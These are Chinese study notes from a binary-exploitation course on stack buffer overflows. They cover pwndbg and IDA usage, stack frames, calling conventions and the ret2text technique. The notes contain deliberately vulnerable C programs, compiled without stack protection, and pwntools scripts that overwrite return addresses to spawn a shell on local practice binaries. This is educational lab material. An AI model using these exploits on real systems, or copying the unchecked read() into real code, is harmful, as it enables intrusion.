大佬课程链接:https://www.bilibili.com/video/BV1mr4y1Y7fW/?spm_id_from=333.337.search-card.all.click

第二章-栈溢出

1.pwn工具

1.pwndbg,ida

pwndbg与插件
一些pwndbg命令可以去https://github.com/Gallopsled/pwntools/tree/dev/pwnlib/commandline中查询
pwndbg常用指令

finish 执行完当前函数并返回
vmmap 查看内存基本情况

常用调试技巧
cyclic
cyclic [数字] 生成[数字]个测试字符
cyclic -l [字符] 查询字符的位置

distance
distance [地址1] [地址2] 查询两地址间距离

ida

f5->反编译
空格->切换视角
c语句行后用tab->跳到对应汇编语句
右键-copy to assembly->一行伪代码加上对应汇编代码
c语句右键-set call type->可以控制函数返回参数数量
双击c语句变量->直接跳到栈中具体位置
shift+f12->看到所有的字符
看不到机器码->Options->general->Number of opcode bytes调大,一般调为8就足够
x->可以看谁调用

2.pwntools写脚本

用pwn包写脚本
q1

from pwn import *
context(arch='arm64', os='linux')
io=process('./question_1_x64_new')

#io.recvuntil('input:\n')
#io.send('a'*9) #io.sendline('aaaaaa')
payload = b'a'*9
dem = b'ut:\n'
io.sendafter(dem,payload)
io.interactive()

q3

from pwn import *
context(log_level='debug',arch='arm64',os='linux')
io=process('./q4_nopie')

#payload = b'a'*4+b'\x1f\x12\x40\x00\x00\x00\x00\x00'
payload = b'a'*4+ p64(0x40121f)
dem= b'ut:\n'
io.sendafter(dem,payload)
io.interactive()

pwntools提供用gdb调试的程序

from pwn import *
context(arch='amd64',os='linux')
io=process('./q4_nopie')

payload = b'a'*4+ b'\x40\x12\x1f'

gdb.attach(io)
pause()

dem = b'ut:\n'
io.sendlineafter(dem,payload)
io.interactive()

2.程序的内存布局以及函数调用过程

1.程序内存分布

1.32位主机内存4g是因为总线长度为32,每个地址四个字节
256T地址内存并不是64位程序的真正的总长度, 64位程序只用后12个

2.程序尽量往前放,从上往下增长,如下图黄色。
程序下面是堆空间,如下图绿色。
堆空间下面是别人写好的内容的空间,如下图紫色。
栈(变量)空间往后放,从下往上增长,如下图蓝色

2.栈操作与函数调用过程

1.栈操作

1.栈操作
esp存放当前栈顶地址,ebp存放当前栈底地址

push ebp
先将 esp-4.再把ebp的值放到esp所指的内存中,

pop ebp
把esp指向的地址的值赋给ebp,再将esp+4

leave :move esp,ebp; pop ebp

call : push eip;jump func
当程序执行一条语句时,对应的eip是该语句下一行的地址

ret : pop eip

2.如果想给eip进行赋值
jmp cs[0x11111111] = move eip,0x11111111
ret = pop eip(没有Pop eip指令)

注:64位程序
(2^8)^8 一个字节8个位,64位一个字是8个字节
2^64
16*(10K,10M,10G,10T,10P,10Z)
256(10K,10M,10G,10T)

rbp下一行还是返回地址

2.函数调用过程

1.进入到dofunc中,先push ebp和mov ebp,esp 与最后的leave相反。

2.执行push后,esp-4由bc变为b8, 值为ebp地址

3.执行move后

4.继续执行到leave

5.执行leave,esp变为原ebp:d4b8,将esp即d4b8地址的值d4c8给ebp,esp+4变为d4bc

6.最后ret,对应call

3.Question4

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int func(char *cmd){
    system(sh);
    return 0;
}

int dofunc(){
    char b[8] = {};
    puts("input:");
    read(0,b,0x100);
    //printf(b);
    return 0;
}

int main(){
    dofunc();
    return 0;
}

read函数

read(0,buf,0x1c)第一个参数必须为0,第二个参数是写入的地址,第三个参数是写入的长度

gdb调试时步入dofunc中,执行两步后

可以看到dofunc进入时的eip放在ebp的下一块内存中,最终返回时会返回到0x8049278
如果将其改为func的地址,则dofunc运行完后会返回到func中

通过python脚本攻击
当进入dofunc后存在read函数,输入足量的内容后会覆盖后续栈空间

成功覆盖ebp下一条地址的值,及返回函数地址
python写脚本,func地址0x80491d6

from pwn import *
context(arch='i386', os='linux')
io=process('./question_4_1_x86')


#padding = 0x14
#return_addr = 0x80491d6
#payload = flat(['a'*padding,return_addr])

payload = b'a'*20+b'\xd6\x91\x04\x08'
dem = b'ut:\n'
io.sendafter(dem,payload)
io.interactive()

成功拿到shell

程序ida反汇编后进入stack可以看到

s -> ebp
r -> 返回地址

当esp寻址时,只有eip有用,ebp与esp和普通寄存器相同
写exp时也是按照查看返回函数的溢出值位置来写。

3.ret2text

1.函数调用约定

1.__cdecl:    C/C++默认方式,参数从右向左入栈,主调函数负责栈平衡。
2.__stdcall:            windows API默认方式,参数从右向左入栈,被调函数负责栈平衡。
3.__fastcall:   快速调用方式。所谓快速,这种方式选择将参数优先从寄存器传入(ECX和EDX),剩下的参数再从右向左从栈传入。因为栈是位于内存的区域,而寄存器位于CPU内,故存取方式快于内存,故其名曰\“__fastcall”。
一般默认是第一种

#include<stdio.h>
int arg1=10;
int add_test(int a,int b,int c){
return a+b+c;
}
int main(){
int arg2=20;
int arg3=30;
add_test(arg1,arg2,arg3);
return 0;
}

add_test(arg1,arg2,arg3);//从arg3->arg2->arg1从右向左压入栈中

在进入函数前,栈中前几位依次是函数从左到右的参数

cdecl
x86: 使用栈来传递参数,使用eax存放返回值
amd64:前6个参数依次存放于rdi、rsi、rdx、rcx、r8、r9寄存器中,第七个以后的参数存放于栈中

2.Question_2(传参)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char sh[]="/bin/sh";

int func(char *cmd){
    system(cmd);
    return 0;
}

int dofunc(){
    char b[8] = {};
    puts("input:");
    read(0,b,0x100);
    //printf(b);
    return 0;
}

int main(){
    dofunc();
    return 0;
}

编译指令

gcc q4_2.c -m32 -fno-stack-protector -no-pie -o q4_2_x86

1.手工改内存
进入dofunc后,ebp下一行是返回函数地址,可以将其改为func地址从而进入func执行

ret时pop eip将func地址传给eip
进入func中,ebp下一行是返回地址

执行完move ebp,esp 后ebp下一行为返回地址,返回地址下一行是参数地址

继续执行,拿到shell

2.缓冲区溢出覆盖栈
到read时输入足够量的字符导致溢出
找到ebp下一行位置和ebp下三行位置,分别存入func地址和/bin/sh地址
由于没有call的过程所以没有将返回地址push到栈里,所以ebp下二行变为返回地址,下三行变为参数

cyclic -l faaa  //20
cyclic -l haaa //28
func地址
0x80491d6
/bin/sh地址
0x804c024

payload

from pwn import *
context(log_level='debug',arch='i386',os='linux')
pwnfile='./q4_2_x86'
io=process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 20
return_addr = elf.symbols['func']
bin_addr = 0x804c024
payload = b'a'*padding + p32(return_addr)+b'a'*4+ p32(bin_addr)
dem = "ut:\n"
io.sendafter(dem,payload)
io.interactive()